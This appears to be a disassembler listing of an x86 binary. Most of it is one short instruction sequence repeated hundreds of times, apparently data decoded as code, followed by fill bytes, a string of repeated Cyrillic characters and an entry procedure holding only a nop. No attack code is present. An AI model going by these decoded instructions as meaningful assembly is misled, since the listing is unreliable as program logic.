		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	cl, ah
; ---------------------------------------------------------------------------
		db 7A0h	dup(0CCh)
asc_616C4E	db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
					; DATA XREF: ___:off_445304o
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллл',0
		align 10h
		dd 370h	dup(0)
		assume ds:___

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		nop
